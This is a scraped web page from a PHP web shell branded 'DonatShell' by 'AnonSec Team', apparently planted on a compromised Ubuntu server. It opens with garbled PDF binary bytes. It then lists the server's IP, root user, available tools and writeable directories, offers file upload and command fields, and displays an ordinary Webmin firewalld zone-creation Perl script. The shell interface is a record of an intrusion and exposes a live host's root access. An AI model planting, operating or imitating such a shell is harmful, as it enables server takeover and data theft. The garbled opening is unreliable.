%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/firewalld/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/firewalld/create_zone.cgi
#!/usr/bin/perl
# Create a new zone, and add some allowed ports to it

use strict;
use warnings;
no warnings 'redefine';
no warnings 'uninitialized';
require './firewalld-lib.pl';
our (%text, %in);
&ReadParse();
&error_setup($text{'zone_err'});

# Validate inputs
$in{'name'} =~ /^[a-z0-9\.\_\-]+$/i || &error($text{'zone_ename'});
my @zones = &list_firewalld_zones();
my ($clash) = grep { $_->{'name'} eq $in{'name'} } @zones;
$clash && &error($text{'zone_eclash'});

# Add the zone
my $err = &create_firewalld_zone($in{'name'});
&error($err) if ($err);

# Find the Webmin port
my @webminports;
if (&foreign_installed("webmin")) {
	&foreign_require("webmin");
	my @socks = &webmin::get_miniserv_sockets();
	@webminports = &unique(map { $_->[1] } @webminports);
	}
else {
	@webminports = ( $ENV{'SERVER_PORT'} || 10000 );
	}

# Work out which ports to allow
my (@addports, @addservs);
if ($in{'mode'} == 1) {
	# Copy from another zone
	my ($source) = grep { $_->{'name'} eq $in{'source'} } @zones;
	@addports = @{$source->{'ports'}};
	@addservs = @{$source->{'services'}};
	}
elsif ($in{'mode'} >= 2) {
	# SSH, Webmin and Ident
	push(@addports, "ssh/tcp", "auth/tcp");
	foreach my $webminport (@webminports) {
		push(@addports, $webminport."-".($webminport+10)."/tcp");
		}

	if ($in{'mode'} >= 3) {
		# High ports
		push(@addports, "1024-65535/tcp");
		}

	if ($in{'mode'} >= 4) {
		# Other virtual hosting ports
		push(@addports, "53/tcp", "53/udp");	# DNS
		push(@addports, "80/tcp", "443/tcp");	# HTTP
		push(@addports, "25/tcp", "587/tcp");	# SMTP
		push(@addports, "20/tcp", "21/tcp");	# FTP
		push(@addports, "110/tcp", "995/tcp");	# POP3
		push(@addports, "143/tcp", "220/tcp", "993/tcp");  # IMAP
		push(@addports, "20000/tcp");		# Usermin
		}
	}

# Add the ports and services
my $zone = { 'name' => $in{'name'} };
foreach my $p (@addports) {
	my $err = &create_firewalld_port($zone, split(/\//, $p));
	&error($err) if ($err);
	}
foreach my $s (@addservs) {
	my $err = &create_firewalld_service($zone, $s);
	&error($err) if ($err);
	}

&webmin_log("create", "zone", $in{'name'});
&redirect("index.cgi?zone=".&urlize($in{'name'}));


Anon7 - 2022
AnonSec Team